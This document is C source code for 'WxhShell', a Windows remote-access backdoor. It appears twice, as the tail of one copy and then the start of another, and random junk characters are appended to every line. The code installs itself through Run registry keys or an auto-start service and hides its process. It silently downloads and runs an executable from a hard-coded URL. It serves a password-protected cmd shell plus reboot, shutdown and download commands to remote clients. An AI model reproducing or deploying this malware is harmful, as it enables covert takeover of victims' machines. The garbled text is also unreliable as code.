    break; !Eqp,"ts7  
    } '3<AzR2  
  // 关机 [m*E[0Hu  
  case 'd': { PM(M c]6  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); H!H&<71-  
    if(Boot(SHUTDOWN)) 4y: pj7h  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); L4Nn:9b  
    else { "W"2 Y(  
    closesocket(wsh); \ytF@"7  
    ExitThread(0); F\K&$5J{p  
    } t@_MWF  
    break; W##~gqZ/  
    } U3oMY{{E J  
  // 获取shell ff{ L=uj  
  case 's': { By&ibN),  
    CmdShell(wsh); v@qU<\Y>  
    closesocket(wsh); ;$il_xA)\>  
    ExitThread(0); aAT!$0H  
    break; CC,f*I  
  } ,\%qERk  
  // 退出 w6Owfq'v  
  case 'x': { *_qLLJg  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); c] '-:=  
    CloseIt(wsh); 2oO&8:`tv  
    break; ?FV>[&-h#I  
    } Oh&k{DWE$  
  // 离开 Qp?+G~*  
  case 'q': { 9/yE\p .  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); KscugX*x  
    closesocket(wsh); PfrzrRahb  
    WSACleanup(); T09'qB  
    exit(1); ;Z asK0  
    break; y;$ !J  
        } MkNPC  
  } >>>&{>}!  
  } Z<Rhn  
u`ezQvrcy  
  // 提示信息 o*r 2T4 8  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); "/#=8_f  
} .)Wqo7/Gx  
  } .%x1%TN  
W Z_yaG$U  
  return; 'zUWO_(  
} fzk^QrB  
Zf,9 k".'C  
// shell模块句柄 3$~oQC  
int CmdShell(SOCKET sock) grs~<n|o\  
{ i(9 5=t(  
STARTUPINFO si; ~LG<Uu  
ZeroMemory(&si,sizeof(si)); nS` :)#;  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 'v~%rhq3  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; xG7/[ jG  
PROCESS_INFORMATION ProcessInfo; ^U8^P]{R|  
char cmdline[]="cmd"; M hwuh`v%  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); z,f  
  return 0; ==ZL0 ][  
} ^+MG"|)u~  
%b1NlzB+  
// 自身启动模式 &BZjQK  
int StartFromService(void) UG,<\k&  
{ \@eaSa  
typedef struct #GVf+8"  
{ 02F\1fXS  
  DWORD ExitStatus; 0!5w0^1  
  DWORD PebBaseAddress; Vx#n0z  
  DWORD AffinityMask; UVUoXv)N  
  DWORD BasePriority; ,ozgnhZY  
  ULONG UniqueProcessId; JNL9t0 x  
  ULONG InheritedFromUniqueProcessId; 4~DW7 (  
}   PROCESS_BASIC_INFORMATION; ; `Vbl_"L  
4UISuYg'  
PROCNTQSIP NtQueryInformationProcess; G@=H=' :~  
3[UB3F 4K  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; i2y E-sgF  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ,| Zkpn8  
|ZmWhkOX  
  HANDLE             hProcess; ;) (F4  
  PROCESS_BASIC_INFORMATION pbi; ej;\a:JL  
] v8.ym  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ~2L]K4Z^  
  if(NULL == hInst ) return 0; = ;z42oS  
"T~ce@  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Pe`eF(J  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); M\!z='Fi  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ibqJ'@{=e  
1$toowb"Zy  
  if (!NtQueryInformationProcess) return 0; #[ TOe  
]7/6u.G7R  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); mNDd>4%H_  
  if(!hProcess) return 0; CYH o~VIK  
g54b}vzm  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; "74Rn"d5  
3o.9}`/  
  CloseHandle(hProcess); i[N=.  
0<$t9:dq  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); nf,u'}psdJ  
if(hProcess==NULL) return 0; RbN# dI'  
9J(jbJ7p  
HMODULE hMod; Pq<]`9/w^w  
char procName[255]; )ePQN~#K}  
unsigned long cbNeeded; x:0nK,  
e:T8={LU2W  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); CGCI3Z'  
Gi 7p`F.  
  CloseHandle(hProcess); LO@='}D=  
Pu`;B  
if(strstr(procName,"services")) return 1; // 以服务启动 3j} @}2D  
5m\T~[`%  
  return 0; // 注册表启动 +m]Kj3-z@  
} gu|cQ2xV  
Qs #7<NQ  
// 主模块 wxW\L!@  
int StartWxhshell(LPSTR lpCmdLine) Sf"]enwB  
{ w\`u |f;Aq  
  SOCKET wsl; < /\y<]b  
BOOL val=TRUE; ;Svs|]d  
  int port=0; Re]7G.y  
  struct sockaddr_in door; s+7#TdhA  
E%np-is{1  
  if(wscfg.ws_autoins) Install(); ]`H8r y2  
6Sr}I,DG  
port=atoi(lpCmdLine); cwC-)#R']  
WcZck{ehd  
if(port<=0) port=wscfg.ws_port; o>?#$~XNv  
k=``Avp?  
  WSADATA data; 01&J7A2  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; )2dTgvy  
 M_ii  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   4PDxmH]y  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); -j"]1JLQ  
  door.sin_family = AF_INET; r{ }&* Y  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); qrt2BT)  
  door.sin_port = htons(port); "inXHxqu/J  
"+k^8ki  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { wzNGL{3  
closesocket(wsl); SXF~>|h5<  
return 1; e>~7RN  
} Puodsd  
@p$$BUb  
  if(listen(wsl,2) == INVALID_SOCKET) { uYy&<_r  
closesocket(wsl); nAY'1!Oi  
return 1; l 4e`-7  
} M~"93Q`f^  
  Wxhshell(wsl); ? ht;ZP  
  WSACleanup(); P(Wr[lH\y  
x2@W,?oPm  
return 0; QsC6\Gt#  
 _7P#?:h  
} rFl6xM;F  
n[tES6u  
// 以NT服务方式启动 ZT1IN6;8W  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) , I^:xw_  
{ S*9qpes-m|  
DWORD   status = 0; ]s<}'&  
  DWORD   specificError = 0xfffffff; na-mh E,H  
p6|RV(?8  
  serviceStatus.dwServiceType     = SERVICE_WIN32; /KLs+^c5  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 9n!IdqKN  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; C[IY9s:Pf  
  serviceStatus.dwWin32ExitCode     = 0; k%2Rv4)hU  
  serviceStatus.dwServiceSpecificExitCode = 0; 2GW.'\D  
  serviceStatus.dwCheckPoint       = 0; OHyBNJ  
  serviceStatus.dwWaitHint       = 0; t IO 'ky  
ai@hQJ*  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); l?J|Ip2W  
  if (hServiceStatusHandle==0) return; WIkr0k  
D N#OLk  
status = GetLastError(); ZGZ+BOFL  
  if (status!=NO_ERROR) ON q=bI*  
{ *Iir/6myM  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ._A@,]LS}  
    serviceStatus.dwCheckPoint       = 0; ^Z`?mNq9  
    serviceStatus.dwWaitHint       = 0; lVR a{._m  
    serviceStatus.dwWin32ExitCode     = status; Kh,zp{  
    serviceStatus.dwServiceSpecificExitCode = specificError; l.@&B@5F  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); -er8(snDQ  
    return; Yj/[I\I"m  
  } d@IV@'Q7u  
ae-hQF&  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; i3v|r 0O~L  
  serviceStatus.dwCheckPoint       = 0; <WCTJ!Z  
  serviceStatus.dwWaitHint       = 0; REc+@;B  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); jt,dr3|/n  
} X\ bXat+  
Uk@'[_1z  
// 处理NT服务事件,比如:启动、停止 }<KQ +  
VOID WINAPI NTServiceHandler(DWORD fdwControl) F* h\#?  
{ 9?L,DThQ  
switch(fdwControl) 9Atnnx]n  
{ AttS?TZr  
case SERVICE_CONTROL_STOP: /@`kM'1:  
  serviceStatus.dwWin32ExitCode = 0; sBV})8]K M  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; J rgpDZ  
  serviceStatus.dwCheckPoint   = 0; B>Xfs ZS  
  serviceStatus.dwWaitHint     = 0; Ir\f _>7  
  { RhQ[hI  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 3X#)PX9b){  
  } 3wf&,4`EX  
  return; 1SO!a R#g  
case SERVICE_CONTROL_PAUSE: <-rw>,  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; #yi&-9B  
  break; G Rq0nhJ  
case SERVICE_CONTROL_CONTINUE: 5*P+c(=  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; w_hN2eYo&e  
  break; 6<>T{2b:(p  
case SERVICE_CONTROL_INTERROGATE: IwJ4K+  
  break; y3{ F\K  
}; x!R pRq9  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus);  SE;Yb'  
} 2?./S)x)  
|| 0n%"h>i  
// 标准应用程序主函数 <yw(7  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) K|^'`FpPO  
{ /@qnEP%  
6Qh@lro;y  
// 获取操作系统版本 U,e'vS{  
OsIsNt=GetOsVer(); _dk/SWb)  
GetModuleFileName(NULL,ExeFile,MAX_PATH); iB0#Z_  
G>>TB{}  
  // 从命令行安装 `%oJa`  
  if(strpbrk(lpCmdLine,"iI")) Install(); RP|/rd]-k  
\[yg f6#[  
  // 下载执行文件 DLBHZ?+!  
if(wscfg.ws_downexe) { C0v1x=(xiM  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) (#?k|e"Y"`  
  WinExec(wscfg.ws_filenam,SW_HIDE); X+LG Z4]D  
} R m^$Dn  
5@&{%99  
if(!OsIsNt) { & Y Y^Bd#  
// 如果时win9x,隐藏进程并且设置为注册表启动 !wNj;ST*  
HideProc(); 'wm :Xa  
StartWxhshell(lpCmdLine); M`u&-6  
} op5G}QZ  
else Tc.k0n%W:b  
  if(StartFromService()) BK;Gh0mp  
  // 以服务方式启动 U?.cbB,  
  StartServiceCtrlDispatcher(DispatchTable); Oll,;{<O  
else TP R$oO2  
  // 普通方式启动 f:hsE  
  StartWxhshell(lpCmdLine); wR]jJb F  
?CU6RC n  
return 0; Ww)p&don  
} yDe6f(D  
r)xkpa5  
+$y%H  
RF$2p4=[  
=========================================== |X6/Y@N  
vv0+F6 @  
Nt'6Y;m!  
,C97|6rC  
Md[M}d8  
|0N6]%r  
" MFzJ 8^.1R  
b;k3B7<  
#include <stdio.h> }fT5(+ Wo  
#include <string.h> :plN<8  
#include <windows.h> 4Fs5@@>X  
#include <winsock2.h> RM|2PG1m  
#include <winsvc.h> l>){cI/D#  
#include <urlmon.h> '^10sf`"  
{Uj-x -  
#pragma comment (lib, "Ws2_32.lib") 1r?hRJ:'  
#pragma comment (lib, "urlmon.lib") 0+dc  
u(W+hdTap=  
#define MAX_USER   100 // 最大客户端连接数 wY'w'%A?  
#define BUF_SOCK   200 // sock buffer ?_V&~?r   
#define KEY_BUFF   255 // 输入 buffer 1XXuFa&  
uw>O|&!  
#define REBOOT     0   // 重启 e !2SO*O  
#define SHUTDOWN   1   // 关机 orON)S ks  
qSA]61U&  
#define DEF_PORT   5000 // 监听端口 l.nd Wv  
o7i>D6^^  
#define REG_LEN     16   // 注册表键长度 :f_fp(T  
#define SVC_LEN     80   // NT服务名长度 xmXuBp:M(R  
w _ONy9  
// 从dll定义API bo|3sN+D  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); w]O [{3"  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 1Xn:B_pP  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ` G- V %  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); >h3m/aeNC  
scQnL'\  
// wxhshell配置信息 iO@UzD #v  
struct WSCFG { RzOcz=A}  
  int ws_port;         // 监听端口 tN1xZW:  
  char ws_passstr[REG_LEN]; // 口令 fPBJ%SZ  
  int ws_autoins;       // 安装标记, 1=yes 0=no Uu_Es{@  
  char ws_regname[REG_LEN]; // 注册表键名 !YVGT <  
  char ws_svcname[REG_LEN]; // 服务名 -~] q?k?  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 A~)#  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 AC&)FY  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 mxEn iy  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Em ;2fh  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" )eD9H*mq  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 6"YcM:5~  
pt$\pQ  
}; riv8qg  
E*AI}:or;  
// default Wxhshell configuration @s.civ!Yk  
struct WSCFG wscfg={DEF_PORT, sXaudT  
    "xuhuanlingzhe", [JVEKc ym  
    1, !*e1F9k  
    "Wxhshell", c4V%>A  
    "Wxhshell", iz%wozf  
            "WxhShell Service", =JNCQu  
    "Wrsky Windows CmdShell Service", LE}V{%)xD  
    "Please Input Your Password: ", h<<uef9  
  1, '4ip~>3?w  
  "http://www.wrsky.com/wxhshell.exe", oH='\M%+  
  "Wxhshell.exe" Zk] /m  
    }; zvbO q  
bY UG4+rD  
// 消息定义模块 H@!]5 <:9  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; `nrw[M?  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 10d.&vNw  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; IhjZ{oV/@  
char *msg_ws_ext="\n\rExit."; XY^]nm-{I  
char *msg_ws_end="\n\rQuit.";  35%\"Y?  
char *msg_ws_boot="\n\rReboot..."; )_olJCdaP^  
char *msg_ws_poff="\n\rShutdown..."; BIh^b?:zU  
char *msg_ws_down="\n\rSave to "; Mz6PH)e;  
`Kbf]"4q  
char *msg_ws_err="\n\rErr!"; ")YD~ZA%)  
char *msg_ws_ok="\n\rOK!"; = 6'Fm$R  
6,cJ3~!48  
char ExeFile[MAX_PATH]; cDIZkni=  
int nUser = 0; %#x l+^  
HANDLE handles[MAX_USER]; U8zCV*ag  
int OsIsNt; )uu(I5St  
+L|x^ B3  
SERVICE_STATUS       serviceStatus; b/"gUYo  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; >@)p*y.K  
$f?GD<}?7r  
// 函数声明 v>0I=ut  
int Install(void); p""\uG'  
int Uninstall(void); +"1fr  
int DownloadFile(char *sURL, SOCKET wsh); X;]I jha<*  
int Boot(int flag); \q@Co42n\  
void HideProc(void); gA}?X  
int GetOsVer(void); zfw=U \  
int Wxhshell(SOCKET wsl); qV0GpVJZU?  
void TalkWithClient(void *cs); wxo*\WLe  
int CmdShell(SOCKET sock); MY}/h@  
int StartFromService(void); A{p_I<  
int StartWxhshell(LPSTR lpCmdLine); Du #>y!  
Cto>~pV  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); c] -  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 7M)<Sv  
E#R1  
// 数据结构和表定义 hg2Ywzfm-  
SERVICE_TABLE_ENTRY DispatchTable[] = [}HS[($  
{ ik#ti=.  
{wscfg.ws_svcname, NTServiceMain}, H'+3<t>  
{NULL, NULL} !dq$qUl/  
}; Ya4yW9*  
#mYe@[p@  
// 自我安装 UD=[::##  
int Install(void) qP0UcG  
{ 22'Ra[  
  char svExeFile[MAX_PATH]; D-FT3Culw  
  HKEY key; xXlx}C  
  strcpy(svExeFile,ExeFile); `S+n,,l  
iJH?Z,Tjf  
// 如果是win9x系统,修改注册表设为自启动 g/frg(KF  
if(!OsIsNt) { ;nrkC\SYh:  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { E W`3$J;  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); } m"':f  
  RegCloseKey(key); .k$Yleg  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 6l:uQz9  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Dn)B19b  
  RegCloseKey(key); uFA}w:Fm  
  return 0; >0_{80bdO  
    } Oyb0t|do+  
  } *j( UAVp  
}  //0Y#"  
else { 6LrI,d  
*R}p9;dpO  
// 如果是NT以上系统,安装为系统服务 ]ddH>y&o  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); V-3;7  
if (schSCManager!=0) Cp+tcrd_s  
{ Fi/`3A@68  
  SC_HANDLE schService = CreateService :}2Tof2  
  ( hBaF^AWW  
  schSCManager, +koW3>  
  wscfg.ws_svcname, Lr 9E02  
  wscfg.ws_svcdisp, k<x7\T  
  SERVICE_ALL_ACCESS, LP !d|X  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , - (7oFOtg  
  SERVICE_AUTO_START, m%'T90mi  
  SERVICE_ERROR_NORMAL, :|8!w  
  svExeFile, Apj[z2nr  
  NULL, [nG[ x|;|  
  NULL, `6RccEm  
  NULL, \r9E6LL X'  
  NULL, #l h' !  
  NULL M N (o  
  ); 6VS_L@  
  if (schService!=0) D<:zw/IRE  
  { X,c`,B03  
  CloseServiceHandle(schService); 9kwiG7V1  
  CloseServiceHandle(schSCManager); Nv|0Z'M  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); f|ERZN`uB  
  strcat(svExeFile,wscfg.ws_svcname); \GV'{W+o2  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ;O|u`fAqT  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Rn`DUYg  
  RegCloseKey(key); 9R">l5u  
  return 0; 4 L 5$=V  
    } JP(0/?Q  
  } \%B7M]P  
  CloseServiceHandle(schSCManager); tt CC] Q  
} r&ys?@+G  
} VoQhzp6&  
ty:{e]e  
return 1; =f23lA  
} JNT|h zV  
F@HJ3O9  
// 自我卸载 A2p%Y},  
int Uninstall(void) C9_[ke[1D  
{ xB]^^ NYE=  
  HKEY key; a_]l?t  
=Ot_P7'5gv  
if(!OsIsNt) { Gx4{ 9  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { )TyP{X>  
  RegDeleteValue(key,wscfg.ws_regname); ;U$Rd,T4S  
  RegCloseKey(key); p>f ?Rw_  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { z_=V6MDM  
  RegDeleteValue(key,wscfg.ws_regname); )| |CU]"b?  
  RegCloseKey(key); H: ;XU  
  return 0; $Yp.BE<}  
  } -r]L MQ  
} |lk:(~DM  
} x <OVtAUB  
else { ^w&!}f+  
X4!Jj *  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ` @lNt}  
if (schSCManager!=0) :6Tv4ZUvcG  
{ +G\i$d;St  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); |f\WVGH  
  if (schService!=0) 4?+jvVq  
  { aL&9.L|1 g  
  if(DeleteService(schService)!=0) { NTO.;S|2%  
  CloseServiceHandle(schService); ]>ndFE6kl  
  CloseServiceHandle(schSCManager); dc_2nF  
  return 0; uRYq.`v,  
  } 5iI(A'R[7  
  CloseServiceHandle(schService); j,SZJ{ebXg  
  } yqtaQ0F~  
  CloseServiceHandle(schSCManager); a8G<x <  
} UI'fzlB  
} 1 .[OS  
B9Wd '  
return 1; 6.$z!~8  
} .,U4 ATO  
G1*,~1i  
// 从指定url下载文件 w~jm0jK]  
int DownloadFile(char *sURL, SOCKET wsh) [@B!N+P5;  
{ c.5u \ I9"  
  HRESULT hr; \rO!lvX  
char seps[]= "/"; +\u\BJ!LAJ  
char *token; [0]J 2  
char *file; 'm"Ez'sS  
char myURL[MAX_PATH]; a#x@ e?GvI  
char myFILE[MAX_PATH];  DO9K  
f"NWv!  
strcpy(myURL,sURL); SG1AYUs V  
  token=strtok(myURL,seps); g[ uf e<  
  while(token!=NULL) O(9*VoD  
  { gjFQDrz(  
    file=token; #/8 Na v  
  token=strtok(NULL,seps); `B:hXeI  
  } 1_]%,  
TJ>1?W\Z  
GetCurrentDirectory(MAX_PATH,myFILE); vA[7i*D{w  
strcat(myFILE, "\\"); ,7DyTeMpN  
strcat(myFILE, file); 94]i|2qj*  
  send(wsh,myFILE,strlen(myFILE),0); y+V>,W)r7  
send(wsh,"...",3,0); cM4{ e^  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); #yU"n-eLR  
  if(hr==S_OK) %o0H#7'  
return 0; la4%Vqwgu  
else  c,M"a  
return 1; t<$J 3h/"  
;O 5Iu  
} e p Dp*  
J83C]2~7  
// 系统电源模块 Kb-m  
int Boot(int flag) VVpJ +  
{ {x[C\vZsi]  
  HANDLE hToken; J!dv"Ww"  
  TOKEN_PRIVILEGES tkp; y\[* mgl:  
,2i1 4H  
  if(OsIsNt) { Tj\hAcD  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Fg}t{e]3a  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ]scr@e  
    tkp.PrivilegeCount = 1; 'A\0^EvVv  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; + Okw+v  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); J4z&J SY  
if(flag==REBOOT) { Dkh=(+> <  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) x9 n(3Oa  
  return 0; - DYH>!  
} iP:^nt?  
else { _JA)""l%  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) +_gA"I  
  return 0; gS`Z>+V5!c  
} G `B=:s]  
  } cWo__EE  
  else { Y?zo")  
if(flag==REBOOT) { u6IM~kk>5  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) a40>_;}:x  
  return 0; ae2SU4Jx  
} II[-6\d!  
else { Ge=\IAj  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) *P5/S8c  
  return 0; {a9.0N:4  
} 0dI7{o;<|  
} ,OP\^  
4!-R&<TLve  
return 1; Z@$'fX?~9  
} `Hv"^o  
i }Zz[b  
// win9x进程隐藏模块 !YlEXaS  
void HideProc(void) x")Bmw$  
{ /OMgj7olD  
e eyZ $n  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); A{T> Aac  
  if ( hKernel != NULL ) E8<,j})*  
  { H`Zg-j`  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Bsd~_y}8  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); %.Kr`#lCr  
    FreeLibrary(hKernel); 3/(eK%d4Xb  
  } &_j<! 3*  
*YX:e@Fm.a  
return; s$0dLEa9  
} X &G]ci  
BJLeE}=H  
// 获取操作系统版本 F&3:]1  
int GetOsVer(void) vBM<M3  
{ ymnK`/J!Q  
  OSVERSIONINFO winfo; FP0GE  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); g:p` .KuB  
  GetVersionEx(&winfo); +JXn   
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) A_2lG!! 6  
  return 1; &NbSG+t  
  else jYBiC DD  
  return 0; !|9k&o  
} 5Fq+^  
2 '$nz  
// 客户端句柄模块 rg 0u#-  
int Wxhshell(SOCKET wsl) {!wd5C@  
{ U7,.L  
  SOCKET wsh; `bn@;7`X  
  struct sockaddr_in client; -*-"kzgd  
  DWORD myID; 4$ah~E>,t  
LfCgvq6/pO  
  while(nUser<MAX_USER) &g0r#K  
{ U_E t  
  int nSize=sizeof(client); i3Xo6!Q  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); AP4s_X+=  
  if(wsh==INVALID_SOCKET) return 1; :`<MlX  
T8W^qrx.v  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Z*v`kl  
if(handles[nUser]==0) %N\8!aXnf  
  closesocket(wsh); _. EM])b  
else pE0@m-p  
  nUser++; E>2AG3)  
  } ?#nk}=;g8  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Z7?\ >4V  
%j{*`}  
  return 0; rTJ;s  
} "avG#rsH  
R?}%rP+^e  
// 关闭 socket E5*pD*#  
void CloseIt(SOCKET wsh) B2WPbox  
{ =vDDfPR  
closesocket(wsh); u%OLXb  
nUser--; #H5 +8W  
ExitThread(0); 77]lp mC  
} Y 7?q `  
o0dD  
// 客户端请求句柄 (&_^1  
void TalkWithClient(void *cs) {7 ](-  
{ g"g3|$#Ej|  
whGtVx|zR  
  SOCKET wsh=(SOCKET)cs; SK*<H~2  
  char pwd[SVC_LEN]; P$@:T[}v  
  char cmd[KEY_BUFF]; 3q6FV7Fv&b  
char chr[1]; >rYMOC~  
int i,j; f Avh!g  
"1p, r&}  
  while (nUser < MAX_USER) { KmWd$Qy,  
KR%NgV+}!0  
if(wscfg.ws_passstr) { 'mF&`BN}b  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); *w6F0>u  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); G1 I<B  
  //ZeroMemory(pwd,KEY_BUFF); i@%a!].I  
      i=0; 6!=q+sw/X  
  while(i<SVC_LEN) { 1.Neg|  
{Wr5F9q  
  // 设置超时 ItZ*$I1<  
  fd_set FdRead; gXY]NWI  
  struct timeval TimeOut; SR<W3a\  
  FD_ZERO(&FdRead); tU>7 jo[-p  
  FD_SET(wsh,&FdRead); Oz "_KMz  
  TimeOut.tv_sec=8; ="AaC!E,W  
  TimeOut.tv_usec=0; N~?(<DyZR  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); OhM_{]*  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); tvUCd}  
vJX0c\e  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); e YiqTWn:  
  pwd=chr[0]; Ypinbej  
  if(chr[0]==0xd || chr[0]==0xa) { { / ,?3  
  pwd=0; oTTE<Ct [  
  break; $"6Gv  
  } 3,Iu!KB  
  i++; Odw9]`,T  
    } }1.'2.<Y  
xlc2,L;i  
  // 如果是非法用户,关闭 socket O6">Io5  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); X2YBZA  
} Ak3V< =gx  
 Qr-,J_  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); crgVedx~}  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); UH((d*HX4  
^pqJz^PO.  
while(1) { Q4g69IE  
Y+0GJuBf  
  ZeroMemory(cmd,KEY_BUFF); hANe$10=H  
vVjk9_Ul  
      // 自动支持客户端 telnet标准   :8]y*j  
  j=0; I(z16wQ  
  while(j<KEY_BUFF) { *-E'$  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); @S&QxE^  
  cmd[j]=chr[0]; &WS'Me  
  if(chr[0]==0xa || chr[0]==0xd) { s+h}O}RV  
  cmd[j]=0; Q+O./1x*,  
  break; J2$,'(!(  
  } 4 lwoTGVZj  
  j++; o76{;Bl\O  
    } iUZV-jl2/  
=i},$"Bf*%  
  // 下载文件 | _nBiHjNn  
  if(strstr(cmd,"http://")) { TrQUhmS/!  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ~CHVU3  
  if(DownloadFile(cmd,wsh)) *De'4r 2  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); nUCOHVI7  
  else NFqGbA|  
